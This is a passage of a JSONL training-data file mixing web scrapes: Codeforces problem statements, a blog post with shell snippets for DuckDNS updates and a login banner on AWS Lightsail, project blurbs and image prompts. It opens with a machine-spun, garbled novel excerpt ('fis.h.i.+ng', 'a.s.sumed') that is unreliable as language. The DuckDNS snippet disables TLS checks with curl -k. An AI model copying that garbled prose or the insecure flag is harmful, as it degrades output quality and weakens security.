itself.\n“Ok.” Feidin paused for just a moment. “Even so, this result compel will come across fights along with the shopping squad. Can we prefer to distribute this news to make the seed products careful, as well offering a warning to your human being behind the curtain?”\nNeedless to say, he could not overlook the probability there was someone fis.h.i.+ng in the muddied oceans, so Han Xiao failed to immediately hop to some verdict. Instead, he merely a.s.sumed it to be the secret surgery in the three Widespread Societies or maybe the Awesome Celebrity Cl.you.s.ter Alliance.\n“The objective of the a.s.sociation is primarily to settle the disputes relating to the Beyond Quality As, hence the Calamity Standard is not inside our opportunity. Nominally, it is really not suitable for us to cross the limit and supply a.s.sistance…”\n“Converse in great detail, I wish to know every thing.” Han Xiao placed along the parts in the palm, his phrase transforming solemn.\nObjective Objective: Try and stop the searching from the Beyond Standard A plant seeds.\nNovel–The Legendary Mechanic–The Legendary Mechanic", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1539, "token_count_with_eod": 1540, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CA Performance Management monitors, stores, analyses, and displays a massive amount of information, for assuring service quality across large, complex, multi-technology, multi-vendor network infrastructure. The solution helps the largest networks successfully monetize service offerings while lowering the cost and complexity of service.\nCA Spectrum is a services and infrastructure management system, that monitors the state of managed elements. Status information such as fault and performance data, from these elements is collected and stored. However, where Spectrum excels is how it uses this data, as CA Spectrum constantly analyses this information, to track conditions within the computing infrastructure. Using its industry leading fault intelligence, if an abnormal condition is detected, the product isolates it, alerts you, and presents the possible causes and solutions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a chessboard of size $$$n \\times n$$$. It is filled with numbers from $$$1$$$ to $$$n^2$$$ in the following way: the first $$$\\lceil \\frac{n^2}{2} \\rceil$$$ numbers from $$$1$$$ to $$$\\lceil \\frac{n^2}{2} \\rceil$$$ are written in the cells with even sum of coordinates from left to right from top to bottom. The rest $$$n^2 - \\lceil \\frac{n^2}{2} \\rceil$$$ numbers from $$$\\lceil \\frac{n^2}{2} \\rceil + 1$$$ to $$$n^2$$$ are written in the cells with odd sum of coordinates from left to right from top to bottom. The operation $$$\\lceil\\frac{x}{y}\\rceil$$$ means division $$$x$$$ by $$$y$$$ rounded up.\n\nFor example, the left board on the following picture is the chessboard which is given for $$$n=4$$$ and the right board is the chessboard which is given for $$$n=5$$$.\n\nYou are given $$$q$$$ queries. The $$$i$$$-th query is described as a pair $$$x_i, y_i$$$. The answer to the $$$i$$$-th query is the number written in the cell $$$x_i, y_i$$$ ($$$x_i$$$ is the row, $$$y_i$$$ is the column). Rows and columns are numbered from $$$1$$$ to $$$n$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 315, "token_count_with_eod": 316, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Last month I was lucky enough to move house. In the rush to pack everything into boxes and hire a moving company this blog was one of the last things on my mind. And so, unfortunately my Raspberry Pi has stayed in the cupboard for the best part of a month, and because of this my blog has been offline for about as long. I didn’t really think about it until I met my friend Frosty and he mentioned my post about the band. Someone actually read my blog! Who would have thought? And then I remembered the Pi sitting in my drawer, my blog dead…\nAs an IT professional, I owe it to myself to have a working personal site. So I’ve decided to take my own advice upgrade to the cloud!\nWhen Amazon launched their Lightsail service about a couple of years ago, I didn’t take much notice of it. It’s not really aimed at the enterprise customers who I normally deal with, and you can normally get the same functionality out of marketplace AMIs with EC2. However, for my own project, the pricing is rather good. AWS offer you a basic VPS (virtual private server) with 20Gb of SSD storage for as little as $3.50 per month. This is about half the price of standard EC2 – the simple monthly calculator comes to $6.44 / mo when using a t3.nano with 20Gb of GP2 storage (I no longer qualify for free tier).\nSetting up was fairly easy. When you log into the AWS console and find the lightsail service, you get redirected to a much simplified console. AWS are clearly targeting Lightsail towards hobbyists, novices and people who don’t want to know the inner workings of EC2.\nIP addresses and DNS\nRather than pay extra for a static IP address I chose to continue using DuckDNS in the same way as on my Raspberry Pi. I would run a script on the instance every hour, which would update the DuckDNS record, to which the DNS name of my blog is mapped with a CNAME record. This code snippet shows how you can set up your server to update dynamic DNS records with DuckDNS and cron.\n# Setup duck DNS (as root) DUCK_DOMAIN=( Your DuckDNS.org domain, without .duckdns.org ) DUCK_TOKEN=( Your DuckDNS.org token ) mkdir /var/log/duckdns/ echo '#!/bin/bash' > /usr/local/bin/duckdns echo \"echo url=\\\"https://www.duckdns.org/update?domains=$DUCK_DOMAIN&token=$DUCK_TOKEN&ip=\\\" | curl -s -k -o /var/log/duckdns/duck.log -K -\" >> /usr/local/bin/duckdns chmod 755 /usr/local/bin/duckdns crontab -l > mycron echo \"0 0 * * * /usr/local/bin/duckdns >/dev/null 2>&1\" >> mycron crontab mycron rm mycron\nMigrating the data from my old site was fairly easy. I used a plugin called UpdraftPlus to take backups of my old site, all I had to do was import the backups and restore the site. All my plugins, posts, images, everything was transported over.\nOne of the things which used to annoy me when running WordPress on my Raspberry Pi was that it didn’t have enough RAM to run all the plugins I wanted to (if I went over the limit, MySQL would fail rather gracelessly bringing the site down). This isn’t a problem now as I have 500 Mb to use on my VPS.\nMaking it homely\nOne of the things I really liked about my PI was the personalised splash screen when I log in. I set this up using the MOTD module as well as some custom scripts and packages. Since Lightsail wordpress runs on Ubuntu, this was very easy to replicate.\nI use a module called neofetch to display some basic system stats when I log in, a module called TOILET to print my name in big shiny letters, and the GNU fortune module so that any shell session starts out with a bit of silliness.\n# Setup MOTD apt-get install fortune cowsay toilet -y add-apt-repository ppa:dawidd0811/neofetch && apt-get update -y && apt-get install neofetch cat <<EOF > config/update-motd.d/10-hello #! /bin/bash toilet --metal -f pagga \"PLAUSIN\" neofetch /usr/games/fortune EOF chmod 755 /etc/update-motd.d/* echo \"\" > /etc/motd rm /etc/update-motd.d/10-uname\nSo that about wraps it up! Now that my blog is (hopefully) more up than down, hopefully you can expect a few more posts from me.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alice and Bob came up with a rather strange game. They have an array of integers $$$a_1, a_2,\\ldots, a_n$$$. Alice chooses a certain integer $$$k$$$ and tells it to Bob, then the following happens:\n\n- Bob chooses two integers $$$i$$$ and $$$j$$$ ($$$1 \\le i < j \\le n$$$), and then finds the maximum among the integers $$$a_i, a_{i + 1},\\ldots, a_j$$$;\n- If the obtained maximum is strictly greater than $$$k$$$, Alice wins, otherwise Bob wins.\n\nHelp Alice find the maximum $$$k$$$ at which she is guaranteed to win.", "source": "cpt_codeforces", "language": "en", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Meta Super User\nto customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nSoftware to manage ideas that lets you branch things out [closed]\nI can't remember the name of it, but there is open source software that lets your organize your ideas, but letting you create leaf nodes from your main idea. What is this type of software called, so ...\nMay 16 '12 at 3:00\nnewest mind-mapping open-source questions feed\nHot Network Questions\nHow to handle player knowledge when they fumble a knowledge roll\nWhy don't game developers release their source code?\nHow to toggle between ascending and descending in List.sort() of custom type?\nHow to explain Heartbleed without technical terms?\nLooping through an Excel document in C#\nApplying and interviewing for a faculty position without intent of accepting position\nHow much cash can you carry in a European Union domestic flight?\nHow another popular language would avoid having to use factory pattern while managing similar complexity as in Java/JEE?\nIs \"The MSO/MSE Split is soon underway\" grammatically correct?\nWhy did early telephones use a rotary dial instead of 10 individual buttons?\nExample of a sequence with more than one limit.\nWhy do Disney parents usually die?\nWhy guitar sounds smoother in high frets?\nResources for Creating a Home-Brewed Alchemy System Using Real World Herbs?\nSomething of value that is worthless in the current context?\nWhy didn't Stark sue the government for stealing his armour in Iron Man 2\nProof about prime numbers\nJust found out my 13 year old girl is Bi and dating a 17 year old girl in an \"open\" relationship. Huh? Now what?\nCan I use vodka to clean my keyboard?\nIs it possible that \"A counter-example exists but it cannot be found\"\nPass ID into URL for newform.aspx?\nDoes `sl` ever show the current directory?\nHow to retain vested employees?\nWhy are there so many human Borg?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Overflow\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Chip8 is the target software project for those which want to start code an emulator. This project is another example of this \"machine\". The language choosed was Java and to render stuffs was used Java2D, there is a chance to make one render engine using jogl. (in the future). An simply debugger system is offered too. A two notation disassembler (David Winter & Michael Toren) is inside too.\nThanks for all info on the Internet (mainly to these authors Winter and Toren) and thanks very very very much to runawayprisoner (from forums.ngemu.com) thus like to emutalk chip8 thread.\nEmutalk Chip8 Thread\nNgemu Chip8 Thread\nCopyright © 2013 Black Duck Software, Inc. and its contributors, Some Rights Reserved. Unless otherwise marked, this work is licensed under a Creative Commons Attribution 3.0 Unported License . Ohloh ® and the Ohloh logo are trademarks of Black Duck Software, Inc. in the United States and/or other jurisdictions. All other trademarks are the property of their respective holders.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Eric is a full featured Python and Ruby editor and IDE, written in Python. It is based on the cross platform Qt GUI toolkit, integrating the highly flexible Scintilla editor control. It is designed to be usable as an everyday quick and dirty editor as well as being usable as a professional project management tool, integrating many advanced features that Python offers the professional coder. Eric includes a plug-in system, which allows easy extension of the IDE functionality with plug-ins downloadable from the net. Current stable versions are Eric4 based on Qt4 and Python 2 and Eric5 based on Python 3 and Qt4.\nGNU libmicrohttpd is a small C library for embedding HTTP server functionality into other applications. It is reentrant, fast, supports HTTP 1.1, and permits listening on multiple ports. The API is simple and still powerful enough to allow programmers to use the entire HTTP feature set. SSL/TLS support is available as an option.\nForban is a P2P file sharing application for link-local and local area networks. Forban works independently from the Internet and uses only the local area capabilities to announce, discover, search, or share files. Forban relies on HTTP and is opportunistic, meaning that it replicates any files of interest seen in its proximity. The Forban protocols are minimalistic to ease the production of other implementations.\nThe Open Real-Time Ethernet (ORTE) is an implementation of the Real-Time Publish-Subscribe (RTPS) communication protocol. RTPS is a new application layer protocol targeted to real-time communication areas, and is built on the top of standard UDP stack. Since there are many TCP/IP stack implementations under many operating systems, and RTPS does not have any other special hardware or software requirements, it should be easily ported to many target platforms. Because it uses only UDP, it retains control of timing and reliability.\nMyMediaLite is a lightweight, multi-purpose library of recommender system algorithms. It addresses the two most common scenarios in collaborative filtering: rating prediction (e.g. on a scale of 1 to 5 stars), and item prediction from implicit feedback (e.g. from clicks or purchase actions). It contains dozens of recommender engines, including state-of-the-art matrix factorization methods. It also supports real-time updates to the recommender engines, storing engines to disk and reloading them again, and several evaluation measures to compare the accuracy of different recommender system methods. Three command-line programs that offer most of the functionality contained in the library are included.\npyHIDS is a host-based intrusion detection system. It uses an RSA signature to check the integrity of its database. Alerts are written in the logs of the system, and can be sent via email to a list of users or on IRC channels (through the irker IRC client). You can define rules to specify files to be checked periodically.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 582, "token_count_with_eod": 583, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There is a grid, consisting of $$$2$$$ rows and $$$n$$$ columns. The rows are numbered from $$$1$$$ to $$$2$$$ from top to bottom. The columns are numbered from $$$1$$$ to $$$n$$$ from left to right. Each cell of the grid contains an arrow pointing either to the left or to the right. No arrow points outside the grid.\n\nThere is a robot that starts in a cell $$$(1, 1)$$$. Every second, the following two actions happen one after another:\n\n1. Firstly, the robot moves left, right, down or up (it can't try to go outside the grid, and can't skip a move);\n2. then it moves along the arrow that is placed in the current cell (the cell it ends up after its move).\n\nYour task is to determine whether the robot can reach the cell $$$(2, n)$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "\"magical landscape inside of a jar, by Alexander Fedosav\"\n\"landscape inside of a jar\"\n\"Hyper detailed digital matte painting, concept art, hyperrealism, 16k resolution, Cinema 4D, 8k resolution, maximalist trending on artstation, behance HD, a masterpiece, by Stephan Martiniere\"\n\"film noir, bright, neon\"\n\"by David A. Hardy and Julia Pott\"\nJoin the conversation", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The new pedestrian zone in Moscow city center consists of $$$n$$$ squares connected with each other by $$$n - 1$$$ footpaths. We define a simple path as a sequence of squares such that no square appears in this sequence twice and any two adjacent squares in this sequence are directly connected with a footpath. The size of a simple path is the number of squares in it. The footpaths are designed in a such a way that there is exactly one simple path between any pair of different squares.\n\nDuring preparations for Moscow City Day the city council decided to renew ground tiles on all $$$n$$$ squares. There are $$$k$$$ tile types of different colors, numbered from $$$1$$$ to $$$k$$$. For each square exactly one tile type must be selected and then used to cover this square surface. To make walking through the city center more fascinating, it was decided to select tiles types for each square in such a way that any possible simple path of size exactly $$$k$$$ contains squares with all $$$k$$$ possible tile colors.\n\nYou need to find out whether it is possible to place the tiles this way or not.", "source": "cpt_codeforces", "language": "en", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_codeforces"}